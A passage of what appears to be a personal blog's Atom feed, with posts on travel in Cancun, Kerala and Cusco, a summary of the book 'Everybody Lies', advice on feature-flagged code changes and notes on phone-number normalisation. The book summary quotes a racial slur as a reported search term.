    <a href="Cancun-crocodile-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Cancun-crocodile-768x1024.jpg"
         alt="Crocodile near the Cancun Lagoon" width="900"/> </a>
</figure>

<p>We had a vegan ceviche at Cancun Forum, I would highly recommend that for vegetarians.</p>
<figure>
    
    <a href="Vegan-Ceviche-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Vegan-Ceviche-768x1024.jpg"
         alt="Vegetarian ceviche with red onions, corn, avocado, cherry tomatoes, and herbs is served in a bowl." width="900"/> </a>
</figure>

<h2 id="day-2-isla-mujeres">Day 2: Isla Mujeres</h2>
<p>We took a cruise to Isla Mujeres. The island is gorgeous. Compared to 
<a href="/travel/belize/">Belize</a> or 
<a href="/travel/escaping-into-caribbean-with-norwegian-escape-cruise/">Cayman islands</a>, it is a bit overrated. If you have done similar day cruises, feel free to skip this.</p>
<figure>
    
    <a href="Cruising-in-the-ocean-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Cruising-in-the-ocean-1024x768.jpg"
         alt="A small cruise ship travels through a vast ocean under a clear sky, with a distant horizon on the water." width="900"/> </a>
</figure>

<p>We were supposed to go to   
    
    
<a href="https://musamexico.org/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Cancun Underwater Museum</a> but the ocean had strong waves that day, so, we ended up seeing more fishes instead.</p>
<figure>
    
    <a href="Cruise-Snorkel-576x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Cruise-Snorkel-576x1024.jpg"
         alt="Isla Mujeres" width="900"/> </a>
</figure>

<figure>
    
    <a href="Isla-Mujeres-1-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Isla-Mujeres-1-1024x768.jpg"
         alt="Isla Mujeres" width="900"/> </a>
</figure>

<figure>
    
    <a href="Isla-Mujeres-2-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Isla-Mujeres-2-1024x768.jpg"
         alt="Isla Mujeres" width="900"/> </a>
</figure>

<h2 id="day-3-chichén-itzá--cenote">Day 3: Chichén Itzá &amp; Cenote</h2>
<p>Chichen Itza is considered one of the modern wonders of the world. We did a tour with Sat Mexico Corporation, and I would highly recommend them. There were three main stops in the tour, Chichén Itzá, an underground swimmable water hole known as Cenote, and the town of Valladolid.</p>
<p>Chichen Itza is gorgeous, historical, and huge. If you have a good guide, they will tell you a lot about Mayan culture, including the game of   
    
    
<a href="https://www.amatravel.ca/articles/pok-a-tok-ancient-mayan-sport?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Pok Ta Pok</a>.</p>
<figure>
    
    <a href="Chicen-Itza-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Chicen-Itza-768x1024.jpg"
         alt="Chicen Itza" width="900"/> </a>
</figure>

<p>The second stop was at the Artesanías Chac Mool de Kaua (artisans of Kaua). Here you taste some local food and see local sculpting before heading for a buffet lunch.</p>
<p>From there, we headed to   
    
    
<a href="https://cenotesmexico.org/cenote-ik-kil/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Ik Kil Cenote</a>. There are a few popular ones, as long as your trip includes one of them, don&rsquo;t worry about picking the best one. You swim for an hour. The attraction of Ik Kil Cenote is to cliff dive from 6m (18 ft).</p>
<figure>
    
    <a href="Cenote-as-seen-from-top-576x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Cenote-as-seen-from-top-576x1024.jpg"
         alt="A person cliff dives from a 6-meter height into the Ik Kil Cenote, a natural swimming spot surrounded by lush vegetation." width="900"/> </a>
</figure>

<figure>
    
    <a href="Cenote-jump-576x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Cenote-jump-576x1024.jpg"
         alt="A cenote viewed from above, displaying clear, blue water surrounded by lush greenery" width="900"/> </a>
</figure>

<p>While returning, we stop at the town of Valladolid. If you are into colonial architecture, you would like it.</p>
<figure>
    
    <a href="Valladolid-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Valladolid-768x1024.jpg"
         alt="A colonial building in Valladolid, characterized by its vibrant colors and traditional architectural elements, is highlighted, evoking historical and cultural charm." width="900"/> </a>
</figure>

<p>In the evening, we decided to check out the non-touristy city of Cancun, and we ended up going to festivities going on at Parque de las Palapas (&ldquo;Sheltered Park&rdquo;). Tons of food items like corn, ice cream, churros at local prices. I would highly recommend going there before returning to the airport.</p>
<figure>
    
    <a href="Festival-in-the-Park-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Festival-in-the-Park-768x1024.jpg"
         alt="A crowded park festival with people gathering around food stalls" width="900"/> </a>
</figure>

<h2 id="note">Note</h2>
<p>If you are staying for longer, then you can buy groceries at Selecto Supermarket, or Supermercado.
It is in the hotel zone.</p>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/mexico" term="mexico" label="mexico"/><category scheme="https://ashishb.net/tag/latin-america" term="latin-america" label="latin-america"/></entry><entry><title type="html">Book Summary - Everybody Lies</title><link href="https://ashishb.net/book-summary/everybody-lies/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summary/the-black-swan/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: The Black Swan by Nassim Nicolas Taleb"/><link href="https://ashishb.net/book-summaries/discontented-little-baby-book/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: The Discontented Little Baby Book by Pamela Douglas"/><link href="https://ashishb.net/book-summaries/natural-baby-sleep-solution/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: The Natural Baby Sleep Solution by Polly Moore"/><link href="https://ashishb.net/book-summary/one-up-on-wall-street/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: One up on Wall Street by Peter Lynch"/><link href="https://ashishb.net/book-summary/sick-societies/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: Sick Societies by Robert B. Edgerton"/><id>https://ashishb.net/book-summary/everybody-lies/</id><author><name>Ashish Bhatia</name></author><published>2020-09-01T16:00:47+00:00</published><updated>2020-09-01T16:00:47+00:00</updated><content type="html"><![CDATA[<blockquote>Explore intriguing insights from a data-driven world: uncover truths about marriage, politics, health, social biases, education, and the power of internet searches.</blockquote><p>The   
    
    
<a href="https://amzn.to/31PyvjG?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">book</a> takes a data-driven approach to analyze the world.</p>
<ol>
<li>Both married and unmarried people exaggerate how often they have sex. Search for sexless marriage is 3.5 times more common than an unhappy marriage.</li>
<li>On Obama&rsquo;s elections results night, there were more searches for nigger president than the black president. Racist searches were no higher in Republican states than Democrats states.</li>
<li>A Trump supporter would search for &ldquo;trump Hillary &hellip;&rdquo; While a Hillary supporter would put Hillary&rsquo;s name first.</li>
<li>Liberals search for &ldquo;estate tax,&rdquo; while conservatives search for &ldquo;death tax&rdquo;.</li>
<li>Back pain does not correlate with pancreatic cancer. Back pain + yellowing skin does.</li>
<li>Warm weather is twice as strong of antidepressants as the leading drug.</li>
<li>The size of the heart, the left ventricle, predicts how good a horse is at racing.</li>
<li>In the prediction business, you care about what works and not why it works.</li>
<li>Women prefer saying tomorrow, so, &ldquo;sooo,&rdquo; etc. more than men.</li>
<li>Social desirability bias leads one to lie in an in-person survey.</li>
<li>&ldquo;Regret not having children&rdquo; more common search before children. &ldquo;Regret having children&rdquo; more common afterward.</li>
<li>9% more young girls are in gifted child programs, but parents search &ldquo;is my son gifted&rdquo; 2.5 times more. More sons are obese, but parents search for daughters being obese more often. No conservative or liberal difference in such a bias.</li>
<li>Your chance of seeing an opposing viewpoint is higher online than offline.</li>
<li>Google searches are digital truth, while social media posts are digital lies.</li>
<li>Netflix used to ask the users for a wishlist, and people would give high brow aspirational movies they would never watch. It stopped asking and started predictions instead.</li>
<li>Many of our random behaviors are formed because of certain events that happened during our childhood. A popular president during 14-24 years of your age will shape your views for life.</li>
<li>Anxiety is higher in low education areas than in big cities.</li>
<li>In the US, for the rich, the city of residence does not affect life expectancy. For the poor, it makes a huge difference. Having more rich people in the town is good for poor people&rsquo;s life expectancy.</li>
<li>College Town produces excellent outcomes because of the Gene pool and early exposure to innovation. Being in big cities helps too. It is great if the town has more immigrants as well.</li>
<li>Violent movies reduce crimes as young men spent time in the theatre instead of drinking in the bar.</li>
<li>Doppelganger searches are extremely powerful in predictions, including medical diagnosis. PatientsLikeMe.com</li>
<li>Super bowl ads work because the revenues do go up.</li>
<li>Keeping up with the Joneses - neighbors of lottery winners have an increased likelihood of bankruptcy due to overspending.</li>
<li>Regression discontinuity analysis - do people barely missing a school entrance by a point worse off in like than those who make it? - No</li>
<li>Getting into a great school like Harvard but not attending had a similar financial outcome to attending it.</li>
<li>Curse of dimensionality - if you are testing too many dimensions, some will end up predicting just by chance.</li>
<li>One fewer star on Yelp =&gt; 5-9 % drop in revenue</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/></entry><entry><title type="html">The two-step approach to big code modifications</title><link href="https://ashishb.net/tech/the-two-step-approach-to-big-code-modifications/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/when-to-commit-generated-code-to-version-control/?utm_source=atom_feed" rel="related" type="text/html" title="When to commit Generated code to version control"/><link href="https://ashishb.net/tech/react-native/?utm_source=atom_feed" rel="related" type="text/html" title="React Native"/><link href="https://ashishb.net/programming/how-many-source-code-repositories-should-a-startup-have/?utm_source=atom_feed" rel="related" type="text/html" title="How many source-code repositories should a startup have"/><link href="https://ashishb.net/programming/consoles-by-google/?utm_source=atom_feed" rel="related" type="text/html" title="Consoles by Google"/><link href="https://ashishb.net/programming/android-stale-views/?utm_source=atom_feed" rel="related" type="text/html" title="Android: Don't use stale views"/><id>https://ashishb.net/tech/the-two-step-approach-to-big-code-modifications/</id><author><name>Ashish Bhatia</name></author><published>2020-08-01T16:00:23+00:00</published><updated>2020-08-01T16:00:23+00:00</updated><content type="html"><![CDATA[<blockquote>Enhance code changes with a toggle for easy rollback! Learn how two-commit strategies and command-line flags prevent major bugs and ensure smooth deployments.</blockquote><p>We all have to make significant code changes from time to time. Most of these code changes are large. Consider the scenario that you merged one such significant change, and then other team members made a few more changes on top. Then a major bug is detected. You desperately make the fix. It makes it in. You declare a victory, and a few hours later, your colleague notices another bug/crash/performance regression. Your commit cannot be reverted. It isn&rsquo;t just about you. Many others have built on top of the change you made—the code sloths along in this broken state for a few days before you eventually fix it. Everyone has faced this issue at some point or the other.</p>
<p>If the code change is small, this is a non-issue, you can revert it and fix it at your own pace. Therefore, when making significant code changes, always try to do it in two different commits (pull requests). In the commit, you add the new code, add a switch (command-line flag or a constant) to turn it on, and keep that switch off by default. In the second commit, turn the switch on. Now, if there is a problem, you immediately turn the switch off and start working on a fix. No one else will deal with the broken code. It would be even better if the switch is a command-line flag since you can turn on the flag for 10% of the machines (or users) and see the behavior for a few days before rolling it out to 100%. It big teams, it is usually good to add a comment to switch mentioning when it should expire or else you will end with   
    
    
<a href="https://eng.uber.com/piranha/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Uber scale</a> problem.</p>
<p>There are a few cases where this cannot be done, for example, during big code refactoring. I think big code refactoring touching code written by multiple teams is almost rarely justified in a single commit.</p>
<p>Examples of some cases where this is useful</p>
<ol>
<li>Switching over from consuming data via v1 of some API to v2</li>
<li>Switching over from returning computed results to stored results (for faster response time but possibly inaccurate outcome)</li>
<li>Switching over from JSON to Protocol Buffer/Thrift</li>
<li>Switching over from VMs to Kubernetes (don&rsquo;t delete the old code yet, you might regret it)</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/><category scheme="https://ashishb.net/tag/programming" term="programming" label="programming"/></entry><entry><title type="html">In a remote village in Thailand...</title><link href="https://ashishb.net/short-stories/in-a-remote-village-in-thailand/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/thailand/?utm_source=atom_feed" rel="related" type="text/html" title="Thailand in 4 Days"/><link href="https://ashishb.net/short-stories/ceylon-air-force-sanskrit/?utm_source=atom_feed" rel="related" type="text/html" title="Sanskrit and Sri Lankan Air Force"/><link href="https://ashishb.net/travel/kerala/?utm_source=atom_feed" rel="related" type="text/html" title="Four days in Kerala - Munnar, Thekkady, and Aleppey"/><link href="https://ashishb.net/travel/hiking-mt-fuji/?utm_source=atom_feed" rel="related" type="text/html" title="Hiking Mt. Fuji"/><link href="https://ashishb.net/travel/kyoto-japan/?utm_source=atom_feed" rel="related" type="text/html" title="Kyoto in three days"/><id>https://ashishb.net/short-stories/in-a-remote-village-in-thailand/</id><author><name>Ashish Bhatia</name></author><published>2020-08-01T16:00:13+00:00</published><updated>2020-08-01T16:00:13+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the unique experience of renting a moped in Thailand, where gasoline is sold in bottles at local shops, highlighting the country&rsquo;s peaceful charm.</blockquote><p>After renting a moped in Thailand, I stopped at a small shop to ask for a petrol pump/gas station.
Instead, the shop owner handed me a bottle of gasoline for purchase.</p>
<p>&ldquo;Must be a peaceful country where they can sell gasoline in bottles.&rdquo;, I said to myself,
&ldquo;In most parts of the world, people would use this as a petrol bomb during violent protests and riots.&rdquo;</p>
<figure>
    
    <a href="tmp1-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="tmp1-768x1024.jpg"
         alt="Petrol sold in bottles in Thailand" width="900"/> </a>
</figure>

]]></content><category scheme="https://ashishb.net/category/short-stories" term="short-stories" label="short-stories"/><category scheme="https://ashishb.net/tag/thailand" term="thailand" label="thailand"/><category scheme="https://ashishb.net/tag/asia" term="asia" label="asia"/></entry><entry><title type="html">Four days in Kerala - Munnar, Thekkady, and Aleppey</title><link href="https://ashishb.net/travel/kerala/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/gorkhaland-west-bengal-and-sikkim/?utm_source=atom_feed" rel="related" type="text/html" title="5 days in Gorkhaland (West Bengal) and Sikkim"/><link href="https://ashishb.net/travel/hiking-mt-fuji/?utm_source=atom_feed" rel="related" type="text/html" title="Hiking Mt. Fuji"/><link href="https://ashishb.net/travel/kyoto-japan/?utm_source=atom_feed" rel="related" type="text/html" title="Kyoto in three days"/><link href="https://ashishb.net/travel/tokyo-japan/?utm_source=atom_feed" rel="related" type="text/html" title="Tokyo in three days"/><link href="https://ashishb.net/travel/sri-lanka/?utm_source=atom_feed" rel="related" type="text/html" title="Sri Lanka in 5 days"/><id>https://ashishb.net/travel/kerala/</id><author><name>Ashish Bhatia</name></author><published>2020-07-18T16:00:00+00:00</published><updated>2020-07-18T16:00:00+00:00</updated><content type="html"><![CDATA[<blockquote>Discover Kerala&rsquo;s scenic beauty with a packaged tour including flights, a taxi, and hotel stays. From waterfalls to spice gardens, experience it all! ✈️🌿</blockquote><p>We decided to do a   
    
    
<a href="https://holidayz.makemytrip.com/holidays/india/package?id=22546&amp;depCityId=0&amp;listingClassId=8&amp;pkgType=FIT&amp;fromCity=NODEPT&amp;intid=Seo_DOM_Holiday_View_Details_Click&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">packaged</a> tour of Kerala, India.
The tour included round-trip flights from Delhi to Kochi, a taxi for the full journey, and all the 
<a href="/travel/hotels-vs-airbnb-vs-hostels/">hotel</a> stays.</p>
<h3 id="day-1---kochi-to-munnar">Day 1 - Kochi to Munnar</h3>
<p>While going from Kochi to Munnar, a three-hour drive, we first stopped at Valara falls and then saw the
Ayurvedic (herbal) medicinal and spice production at   
    
    
<a href="https://www.tripadvisor.in/Attraction_Review-g297636-d13076053-Reviews-Green_Land_Spice_Garden-Thekkady_Idukki_District_Kerala.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Greenland Spice Garden</a>.</p>
<figure>
    
    <a href="Valara_Falls_resized-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Valara_Falls_resized-768x1024.jpg"
         alt="Valara Falls is a scenic waterfall that cascades over rocks surrounded by lush greenery, creating a tranquil natural landscape" width="900"/> </a>
</figure>

<figure>
    
    <a href="Spice_Garden_resized-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Spice_Garden_resized-768x1024.jpg"
         alt="A picturesque tea plantation stretches across rolling hills under a clear sky, showcasing neatly lined tea plants with walking paths." width="900"/> </a>
</figure>

<figure>
    
    <a href="Tea_Plantation_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Tea_Plantation_resized-1024x768.jpg"
         alt="A lush tea plantation in Munnar, with neatly arranged rows of tea bushes on rolling hills, under a clear blue sky." width="900"/> </a>
</figure>

<h3 id="day-2---munnar">Day 2 - Munnar</h3>
<p>We checked out the   
    
    
<a href="https://www.tripadvisor.in/Attraction_Review-g303881-d2343716-Reviews-Mattupetty_Dam-Munnar_Idukki_District_Kerala.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Mattupetty Dam</a> and the nearby market.
From there, we headed to   
    
    
<a href="https://www.tripadvisor.in/Attraction_Review-g303881-d13543553-Reviews-Echo_Point-Munnar_Idukki_District_Kerala.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Echo Point</a>.
While returning, we stopped at the   
    
    
<a href="https://cowboypark.in/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Cowboy Adventure Park</a>. I would highly recommend this park;
your driver won&rsquo;t probably want to take you here since the price is too low to give him a kickback.
We had to skip   
    
    
<a href="https://www.tripadvisor.in/Attraction_Review-g303881-d1755667-Reviews-Rajamalai_Eravikulam_National_Park-Munnar_Idukki_District_Kerala.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Eravikulam national park</a> since we spent too much time (~3 hours) at the Cowboy Adventure Park.
Then, we headed back to Munnar and checked out the Tata Tea Museum.
There isn&rsquo;t much to see at the museum.
In the evening, we ended up for a massage at an   
    
    
<a href="https://www.tripadvisor.in/Attraction_Review-g303881-d7020769-Reviews-Mayura_Ayurvedic_Centre_Munnar-Munnar_Idukki_District_Kerala.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Ayurvedic Massage Centre</a>.
The center appears rustic, but the experience was excellent.</p>
<figure>
    
    <a href="Bee_Nest_resized-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Bee_Nest_resized-768x1024.jpg"
         alt="A honeybee nest attached to a tree trunk, exhibiting a natural, rustic setting in an outdoor environment." width="900"/> </a>
</figure>

<figure>
    
    <a href="Matupetty_Dam_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Matupetty_Dam_resized-1024x768.jpg"
         alt="A large bee nest hangs from a tree branch, displaying intricate honeycomb structures. There is no visible activity around the nest, set against a leafy backdrop." width="900"/> </a>
</figure>

<figure>
    
    <a href="Cowboy_Park_resized-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Cowboy_Park_resized-768x1024.jpg"
         alt="The Cowboy Park" width="900"/> </a>
</figure>

<figure>
    
    <a href="Tea_Museum_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Tea_Museum_resized-1024x768.jpg"
         alt="A cowboy statue stands prominently in a park, surrounded by trees and grass, with a clear blue sky above. The location is Thekaddy, related to Day 3 of a journey." width="905"/> </a>
</figure>

<h3 id="day-3---thekaddy">Day 3 - Thekaddy</h3>
<p>We headed to Thekaddy, and reached in time for one of the last trips to Periyar Tiger Reserve.
We didn&rsquo;t see much wildlife. Later in the day, we saw Kathakali and Kalaripayattu shows.
Both were great experiences, but Kalaripayattu was more fun.
Thekaddy market is the best place to buy spices, better than Munnar.</p>
<figure>
    
    <a href="4_Types_of_Bananas_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="4_Types_of_Bananas_resized-1024x768.jpg"
         alt="Four types of bananas are displayed in a market setting, showcasing different sizes and colors." width="905"/> </a>
</figure>

<figure>
    
    <a href="Periyar_Tiger_Reserve_resized-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Periyar_Tiger_Reserve_resized-768x1024.jpg"
         alt="A traditional Kathakali dancer in vibrant costume performs on stage, showcasing intricate facial makeup and expressive hand gestures typical of this classical Indian dance form." width="900"/> </a>
</figure>

<figure>
    
    <a href="Kathakali_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Kathakali_resized-1024x768.jpg"
         alt="A Kathakali performer in traditional attire, with elaborate makeup and costume, stands against a blurred background, symbolizing a cultural scene from South India." width="905"/> </a>
</figure>

<figure>
    
    <a href="Kalaripayattu_resized-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Kalaripayattu_resized-768x1024.jpg"
         alt="A traditional Kathakali dancer with elaborate costume and makeup performs on stage, while a Kalaripayattu martial artist demonstrates a pose, showcasing cultural art forms in South India." width="900"/> </a>
</figure>

<h3 id="day-4---alleppey-allapuzha">Day 4 - Alleppey (Allapuzha)</h3>
<p>After a long drive, we reached Alleppey.
We did a one-hour boat ride through the backwaters, went to Alleppey beach, and checked out the local Mullakkal Raja Rajeswari Temple.
I would recommend taking the 
<a href="/travel/public-transport-guide/">government boat</a> and going for a much longer trip in the backwaters.</p>
<figure>
    
    <a href="Backwater1_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Backwater1_resized-1024x768.jpg"
         alt="A tranquil waterway with lush green surroundings, featuring small traditional boats ideal for a longer trip." width="905"/> </a>
</figure>

<figure>
    
    <a href="Backwater2_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Backwater2_resized-1024x768.jpg"
         alt="A picturesque beach scene features waves gently lapping against the sandy shore under a clear blue sky, providing a serene coastal atmosphere." width="905"/> </a>
</figure>

<figure>
    
    <a href="Allepey_Beach_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Allepey_Beach_resized-1024x768.jpg"
         alt="A picturesque beach scene from Alleppey, with serene waters and palm-lined shores, providing a tranquil coastal atmosphere." width="905"/> </a>
</figure>

<figure>
    
    <a href="Temple_resized-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Temple_resized-768x1024.jpg"
         alt="A traditional temple structure with intricate carvings stands surrounded by green foliage, highlighting cultural architecture amidst nature." width="900"/> </a>
</figure>

<p>Note:</p>
<ol>
<li>The driver would always try to take you to places where he is getting a kickback, so be careful. For example, he took us to overpriced   
    
    
<a href="https://www.tripadvisor.in/Attraction_Review-g303881-d12190170-Reviews-Wonder_Valley_Adventure_and_Amusement_Park-Munnar_Idukki_District_Kerala.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Wonderland Park</a> in Munnar.</li>
<li>The best place to buy spices, oils, and other such products is Thekkady Market.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/asia" term="asia" label="asia"/><category scheme="https://ashishb.net/tag/india" term="india" label="india"/><category scheme="https://ashishb.net/tag/kerala" term="kerala" label="kerala"/></entry><entry><title type="html">Dealing with phone numbers in contact book</title><link href="https://ashishb.net/tech/dealing-with-phone-numbers-in-contact-book/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/musicsync-audio-player/?utm_source=atom_feed" rel="related" type="text/html" title="MusicSync: best alternative to Google Play Music and Google Podcasts"/><link href="https://ashishb.net/tech/google-i-o-2018-android-notes/?utm_source=atom_feed" rel="related" type="text/html" title="Google I/O 2018: Android Notes"/><link href="https://ashishb.net/tech/google-io-2017-android-notes/?utm_source=atom_feed" rel="related" type="text/html" title="Google I/O 2017: Android Notes"/><link href="https://ashishb.net/tech/thoughts-on-tizen/?utm_source=atom_feed" rel="related" type="text/html" title="Thoughts on Tizen"/><link href="https://ashishb.net/tech/nokia-working-on-android-phone/?utm_source=atom_feed" rel="related" type="text/html" title="Why Nokia's (rumored) Android phone is doomed"/><id>https://ashishb.net/tech/dealing-with-phone-numbers-in-contact-book/</id><author><name>Ashish Bhatia</name></author><published>2020-07-10T06:58:24+00:00</published><updated>2020-07-10T06:58:24+00:00</updated><content type="html"><![CDATA[<blockquote>Avoid pitfalls when using user contact books in apps. Learn about prefix-free country codes, number formats, shared codes, and verifying phone ownership effectively.</blockquote><p>If you are building an app that uses the user&rsquo;s contact book then their certain gotchas to avoid.</p>
<h3 id="telephone-country-codes-are-prefix-free">Telephone country codes are prefix-free</h3>
<p>If a country has a country code &ldquo;+91&rdquo;, then no other country will get a country code like &ldquo;+912&rdquo; or &ldquo;+913&rdquo;. This scheme ensures that numbers are inherently unambiguous.</p>
<h3 id="telephone-numbers-can-have-multiple-representations">Telephone numbers can have multiple representations</h3>
<p>Since most people don&rsquo;t dial internationally, telecom systems implicitly assume a domestic call. So, someone dialing 612-555-1234 in the US is dialing &ldquo;+1-612-555-1234&rdquo;, while the same person in India is dialing &ldquo;+91-612-555-1234&rdquo;. Since international dialing would be more infrequent, telecoms require unique prefix numbers like &ldquo;00&rdquo; to distinguish whether someone is 612-555-1234 in their country or 0061-255-51234 in Austria. In some states, even the domestic area code is not explicitly required. So, a user might have stored &ldquo;555-1234&rdquo; as the phone number to which telecoms will implicitly prefix the user&rsquo;s area code. And if the user wants to dial beyond their area, the telecom operator would require an additional &ldquo;0&rdquo; prefix to mark that it is an   
    
    
<a href="https://en.wikipedia.org/wiki/Subscriber_trunk_dialling?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">STD call</a>. This localization has a massive implication regarding processing cleaning and normalizing phone numbers retrieved from the user&rsquo;s contact book. Both country code and area code don&rsquo;t contain &ldquo;0&rdquo;, and usually, that&rsquo;s superfluous. So, while telecoms might be OK with calling or sending SMS to &ldquo;0-612-555-1234&rdquo;, they will treat a number like &ldquo;91-0-612-555-1234&rdquo; as incorrect.</p>
<h3 id="multiple-countries-can-share-telephone-codes">Multiple countries can share telephone codes</h3>
<p>USA, Canada, and many countries in the Caribbean share the &ldquo;+1&rdquo; telephony code. The carriers would treat calls or SMS as international, though. Italy and Vatican city share &ldquo;+39&rdquo;.</p>
<h3 id="continuous-area-codes-or-country-codes-are-not-always-adjacent">Continuous area codes or country codes are not always adjacent</h3>
<p>As the population grows in certain areas more than others, the codes reserved for other regions can get allotted to them. An example of that is the San Francisco Bay area, where the first 408 and then 669 was allocated on top of the existing 650 area codes to deal with the growing population.</p>
<h3 id="confirming-phone-number-ownership">Confirming phone number ownership</h3>
<p>You can never trust an incoming call or incoming SMS&rsquo;s phone number. Therefore, the only way to verify that the user owns a phone number is by sending them a text message or making them a phone call.</p>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/><category scheme="https://ashishb.net/tag/android" term="android" label="android"/><category scheme="https://ashishb.net/tag/ios" term="ios" label="ios"/><category scheme="https://ashishb.net/tag/mobile" term="mobile" label="mobile"/></entry><entry><title type="html">Things to do in Cusco, Peru</title><link href="https://ashishb.net/travel/cusco-peru/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/mexico/cancun/?utm_source=atom_feed" rel="related" type="text/html" title="Three days in Cancun, Mexico"/><link href="https://ashishb.net/travel/costa-rica/?utm_source=atom_feed" rel="related" type="text/html" title="Costa Rica in 4 days"/><link href="https://ashishb.net/travel/nicaragua/?utm_source=atom_feed" rel="related" type="text/html" title="Nicaragua in 5 days"/><link href="https://ashishb.net/travel/mexico/guadalajara/?utm_source=atom_feed" rel="related" type="text/html" title="Four days in Guadalajara, Mexico"/><link href="https://ashishb.net/travel/el-calafate-patagonia-argentina/?utm_source=atom_feed" rel="related" type="text/html" title="A day in El Calafate - Patagonia, Argentina"/><id>https://ashishb.net/travel/cusco-peru/</id><author><name>Ashish Bhatia</name></author><published>2020-06-07T16:00:43+00:00</published><updated>2020-06-07T16:00:43+00:00</updated><content type="html"><![CDATA[<blockquote>Explore the rich history and breathtaking landscapes of Cusco, Peru, with our guide to the Inca heartland. Discover Machu Picchu and thriving local culture.</blockquote><p>Cusco or Cuszo, an Andean city in South America, was the seat of the Inca empire and is home to the world-famous Machu Picchu. I would recommend staying near the city center of Plaza De Armas (&ldquo;Parade Square&rdquo;). Most tourist activities are in and around the area.</p>
<figure>
    
    <a href="cusco_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="cusco_resized-1024x768.jpg"
         alt="A city square with people walking around, surrounded by historic-looking buildings, providing a central location for tourist activities in Cusco, Peru." width="900"/> </a>
</figure>

<h2 id="day-1">Day 1</h2>
<p>Start your journey with a walking tour. I did it with   
    
    
